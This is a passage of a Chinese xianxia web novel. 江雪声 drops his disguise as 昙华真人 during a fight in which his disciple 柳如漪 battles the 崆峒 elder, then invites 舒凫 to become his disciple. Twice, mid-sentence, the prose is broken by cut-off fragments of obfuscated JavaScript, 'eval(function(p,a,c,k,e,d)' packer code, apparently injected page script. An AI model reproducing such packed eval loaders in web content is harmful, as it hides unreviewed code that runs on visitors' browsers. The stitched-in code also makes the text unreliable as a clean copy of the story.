柳如漪报以一笑:“过奖,正是区区。” ——紫微仙会?沉璧君? 舒凫觉得这名称十分熟悉,一时间却想不起详情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江雪声仿佛察觉到她的目光,长睫一垂,似笑非笑的目光如鸟羽般轻轻一扫:“我还很年轻,还能行。” 舒凫:“……” 没人问你这个! 崆峒长老自恃身份,对紫微仙会嗤之以鼻,其他人却不敢如此托大。尤其是齐三爷,听见“沉璧君”那一刻,他的脸色红了又白,白了又青,好一会儿才咬牙讷讷道:“崆峒长老,此人既是昙华真人首徒,若有个闪失,恐怕摇光峰不会善罢甘休。” “那便将他留在这里。死无对证,难道摇光峰还能上门寻仇不成?” 崆峒长老狞笑道,“昙华一向张狂,也该让他吃个教训。最器重的徒弟惨死,我倒要看看,他会露出怎样一副悲痛欲绝的表情!” …… 江雪声:“其实并不会。他想多了。” 舒凫:“……” 舒凫:“好了,你不要再讲了。” 她关于“神仙”的印象,已经再也回不去了。 昙华大哥,抽中华。 19. 照夜昙华 “来人,将他拿下!今日无论如何,决不能让他走出这扇门!” 在崆峒长老的煽动之下,齐三爷眼一闭心一横,大声呼喝着唤出一批手下,将柳如漪围了个密不透风,前仆后继地冲上前去。 至于崆峒长老,他的战术和外表一样猥琐,利用人潮作为掩护,踏着一种古怪的步法辗转腾挪,时不时从一个刁钻的方向拍出一掌。 柳如漪身法轻灵,每次都能险之又险地避过,却也不可避免地被掌风波及,割裂的衣袍如同落花一样飞散。黑发与红衣交错,给画面增添了一分凄迷诡异的气息。 崆峒长老不愧是阵法名家,步法暗合八卦,内藏玄机,一招一式滴水不漏。柳如漪与他缠斗片刻,一来根基稍逊一筹,二来受到人群掣肘,一时间难以突破,只能取出凤首箜篌弹奏,将满堂炮灰一口气扫到一边。 就在这一瞬间,一直袖手旁观的凌奚月忽然飞身而下,一道剑光如毒蛇般向他刺了过去! “?!!” 千钧一发之际,柳如漪天鹅般修长的脖颈一偏,冰冷的剑锋几乎贴着他颈侧掠过,削断了一缕乌黑柔顺的长发。 柳如漪错开一步,仪态万千地站定:“凌二公子好手段。杀气掩藏得如此完美,竟连我也不曾察觉。” “过奖。” 凌奚月唇角一勾,“沉璧君面前,在下不敢大意。实在抱歉,我也是为父亲和大哥办事,只好得罪了。” 舒凫眼看着柳如漪以一敌三,心中焦虑,下意识地开口问道:“前……道友,你一直不出手,莫非也要等到他七成死吗?” “并非如此。如漪生性好强,若我一开始不给他施展拳脚的空间,他心中不满,回头必然要闹脾气。” 江雪声也不动怒,好声好气地向她解释道,“至于‘七成死’,却是你误会我了。对于自寻死路之人,我实在不想拦着,所以取了个折中之法,待他们‘死到七成’再去相救。对于我的弟子,标准却是不同。” 舒凫:“怎么个不同法?” 江雪声轻轻一笑,理直气壮地表演双标:“旁人的标准,是七成死。我的弟子,标准是一根头发。” 舒凫:????? 她低头望了一眼柳如漪鬓边断发,还没来得及开口,便只听见“嗤”的一声轻响,崆峒长老五指如钩,撕下了柳如漪半幅衣袖。 他一对三角眼中精光闪烁,咧嘴笑道:“小子狂妄无礼,一身皮肉倒是细嫩,与老夫那些鼎炉相比也不差什么……” 话音未落,又是“嗤”的一声响,柳如漪衣袖中甩出一道琴弦,将崆峒长老精心保养的胡须截去半边。 “哎呀,手抖了。” 柳如漪故作惊讶道,“真不好意思。又见长老当众发.情,我本想替三师弟将你废了,果然还是差了一分准头。” “竖子尔敢!” 崆峒长老勃然变色,气咻咻地吹起半边胡须,“今日若是你师尊在此,老夫倒还有几分忌惮。凭你一介小辈,也敢在老夫面前猖狂?” 舒凫:“……” 这一刻,她也很想对崆峒长老喊一句“好了,你不要再讲了”。 长老还不知道,此时他就宛如戏台上的老将军,背上插满了旗子。 而且那些旗子,还是他亲手插上去的。 也就在这一刻,舒凫只觉得身体一轻,江雪声长袖一卷将她带起,整个人如同一片雪花般毫无分量,轻飘飘地从房梁上落了下去。 在不到一秒的下落过程中,舒凫最先感觉到的,是一阵夜风般清爽的、带着水汽的凉意。 随后她意识到,那不是夜风,也不是水汽,而是从江雪声身上扩散开来的灵力余波。 一直以来都刻意隐藏修为的江雪声,一旦解除伪装,顷刻间便成了一泓藏也藏不住的寒潭,通身溢出的灵力如有实质,甚至足以拉低气温。 与此同时,他的面貌也发生了改变。 舒凫距离他最近,清楚地看着那副眉眼一点点变换轮廓,眼尾斜挑,眉飞入鬓,如同亲眼目睹一把刻刀在美玉上雕琢。不知为何,她丝毫不感觉违和,仿佛她早已知晓,这才是江雪声应有的模样。 仿佛雪霁云开,雾霭消散,云雾掩映间的山水终于显露其本来面貌,一展绝代风华。 舒凫不是没见过美人——三次元有美人如画,二次元有比真人更美的画。即使如此,江雪声低眉向她望来那一刻,她仍然感觉呼吸困难,差点在内心化身为一只尖叫鸡。 卧槽! 卧槽卧槽卧槽卧槽! 这个人!这个人是怎么回事! 难怪猴妖都想给他生猴子,她一瞬间都想给他生尖叫鸡!!! 眼前人看上去极为年轻,不过弱冠之龄,容颜清冽如秋水,气度洒落如长风,静是白璧无瑕,动是飒沓流星,从骨到皮无一处不美。这美无关乎性别,说他是男子亦可,是女子亦可,人世间的概念在此毫无意义,只能感叹一句“仙骨天成”。 他不像山巅雪,不像百丈冰,也不像常见的修仙界男神一样,穿着一身纤尘不染的清冷白衣。 他的衣衫是一种浅淡的天青色,像国画中的山水,衣摆上绘有两三朵盛放的昙花,清雅洁白,仿佛在暗夜中倾吐芬芳。 故而,其名为“昙华”。 撷一枝琼花为骨,揽三分明月为魂。 煌煌华灯千万盏,不及昙华照夜明。 随着装束转变,江雪声原本束起的墨发也有大半倾泻而下。他未戴发冠,只用一支木簪松松挽着长发,流水一般的发丝拂过肩膀、脊背,如同一道水墨绘就的银河,越发映衬得他的眉目宛若晨星。 对此,舒凫的感想是——天悬星河,突然倒了一瓢在我头上。 这满天星河一样的美人低头凝睇着她,忽而破颜一笑,如画眉目舒展,一双眼弯成细细一对月牙:“好看吗?” 舒凫:“…………………………好看。” 江雪声:“嗯,好看就对了。而且我不用梳毛,也不用化妆。” 舒凫:“……” ——不是,你们这对师徒怎么回事?! 舒凫呆若木鸡,内心震惊如同尖叫鸡,堂上其他人也差不了多少。崆峒长老刚才意气风发,在背后将“昙华真人”踩了个痛快,这会儿眼看着正主从天而降,一张老脸涨得发紫,眼珠子险些都不会转了。 柳如漪抿唇一笑,翩翩然退至一边,风姿绰约地屈膝施礼: “弟子柳笑,恭迎师尊。” 江雪声——昙华真人显然已经习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江雪声又道:“摇光峰不是富庶繁华之地,但胜在山明水秀,最是养人。我膝下门生数百,亲传弟子三人,如漪随性、昭云活泼、司非忠直,都是好相处的脾气。昭云喜欢鲜花,一年四季,峰上都有如云的繁花可看;司非天性亲水,峰上有大小湖泊,瀑布清泉,是个戏水的好去处。” “我所有之物不多,但凡弟子喜欢,便都会给。” 舒凫隐约意识到什么,不等她那个影影绰绰的猜测成形,江雪声便已向她伸手,纤长的指尖隔着衣袖触到她掌心。 仙人动作轻缓,神色安详宁静,犹如夜色间一朵无声吐蕊的昙花。 “道友,我知你是童氏嫡脉遗孤,童瑶唯一的传人。你对我说,你有心拜入仙门,为童氏一族报仇雪恨。” “我有心引你入门,送你去九重天上,你愿不愿意?” ——我知你是姜若水,我也知你不是姜若水。 ——正因如此,你口中的“报仇”才尤为可贵,胜过世间一切珍宝。 侥幸重生的一缕孤魂,要有几多孤勇,几多侠气,才能为毫无干系的因果一掷生死? 赤子心诚,可证大道。 我欲渡你一程,你愿不愿意?